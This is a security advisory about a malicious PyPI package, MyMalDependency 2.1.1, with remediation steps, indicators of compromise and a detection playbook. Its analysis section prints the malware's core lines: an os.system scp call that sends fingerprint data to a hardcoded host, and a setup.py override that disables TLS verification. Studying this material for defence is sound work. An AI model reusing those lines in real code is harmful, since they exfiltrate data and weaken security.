Which versions of MyMalDependency are malicious?

The following PyPI versions of MyMalDependency are flagged malicious: 2.1.1. Treat any of these as compromised.

How do I remediate MyMalDependency if I installed it?

MyMalDependency is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed MyMalDependency — how do I know if it already compromised me?

If MyMalDependency was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is MyMalDependency part of a known attack campaign?

Yes — MyMalDependency is associated with the IN-MAL-2026-002298 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find MyMalDependency across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for MyMalDependency (version 2.1.1).

Malicious package

MyMalDependencyPyPI

Advisory published May 12, 2026Updated May 13, 2026

MyMalDependency is a confirmed malicious PyPI package (MAL-2026-3694) that steals credentials and exfiltrates sensitive data (malicious version 2.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in mymaldependency (PyPI)

MAL-2026-3694

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall MyMalDependency

What this malware does

MyMalDependency_package/init.py executes on every import: it calls os.uname() and os.getcwd(), writes the results to./trans.txt in the installer's working directory, then invokes os.system('scp trans.txt [email protected]:E:\download') to ship the file to a hardcoded remote host. This is a one-way exfiltration of installer machine fingerprint data combined with unconsented shell command execution at import time. setup.py additionally disables TLS certificate verification globally (ssl._create_default_https_context = ssl._create_unverified_context), weakening the installer's trust posture during install. Source comments ('#恶意的依赖项' — Chinese for 'malicious dependency') and a startup print ('start mal dependency') explicitly declare malicious intent. Metadata is placeholder (author '1', UNKNOWN fields, description 'test to create package'). Regardless of whether the hardcoded private-range destination IP is currently reachable, the code pattern constitutes active attack behavior against anyone who imports the package.

Malicious versions

1 flagged

2.1.1

Indicators of compromise (SHA-256)

38372ffa2ec19cee68f769508d95ffb4f5c1878aeae058ce3e7a33b947d06cf1

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for MyMalDependency (version 2.1.1).
If you installed it — respond
MyMalDependency is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If MyMalDependency was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. MyMalDependency on PyPI has been identified as a malicious package (version 2.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-002298

References

pypi.org

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks MyMalDependency-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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